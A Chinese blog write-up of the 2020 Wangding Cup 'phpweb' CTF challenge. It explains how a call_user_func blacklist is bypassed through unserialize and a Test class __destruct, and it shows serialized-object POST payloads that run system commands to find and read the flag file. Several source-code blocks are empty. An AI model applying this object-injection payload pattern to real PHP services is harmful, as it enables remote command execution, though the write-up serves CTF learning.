[网鼎杯 2020 朱雀组]phpweb(反序列化+linux命令执行)
访问题目地址,看到一个简单的页面,背景图,以及一段 JavaScript 代码,页面会在 5 秒后自动提交一个表单。

页面分析
抓包查看源码
页面会自动提交 func=date 和 p=Y-m-d h:i:s a 两个参数,返回当前时间。
这刚好和data(“Y-m-d h:i:s a”)格式一致,所以猜测func是一个函数,p是函数的参数
源码获取
尝试用 highlight_file 函数读取源码:
1 | POST: func=highlight_file&p=index.php |
成功获取到完整源码
1 |
|
代码审计
漏洞点1:call_user_func 动态调用
gettime() 函数使用 call_user_func($func, $p) 动态调用任意函数,仅对第一个参数 $func 做黑名单过滤。这本身就存在风险,但由于黑名单的存在,直接传 system, exec 等会被拦截。
漏洞点2:Test 类的 __destruct 魔术方法
Test 类的析构方法 __destruct() 会调用 gettime($this->func, $this->p),注意这里没有黑名单检查!
1 | function __destruct() { |
漏洞点3:unserialize 不在黑名单中
检查 $disable_fun 黑名单数组,发现 unserialize 函数并没有被禁用!
利用思路
- 通过
unserialize函数(不在黑名单中)触发反序列化 - 构造一个序列化的
Test对象,将$func设为system,$p设为要执行的命令 - 对象生命周期结束时会调用
__destruct(),从而绕过黑名单执行任意命令
利用链
1 | index.php(接收func=unserialize&p=序列化payload) |
解题过程
第1步:确认反序列化可用
先执行一个简单的 ls 命令验证反序列化RCE是否可用:
1 | POST: func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";} |

成功执行!目录下存在index.php和bg.jpg文件
第2步:查找flag文件
使用 find 命令搜索 flag 文件:
1 | POST: func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";} |

找到flag路径为 /tmp/flagoefiu4r93。
第3步:读取flag
1 | POST: func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";} |
成功找到flag
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Hello World!
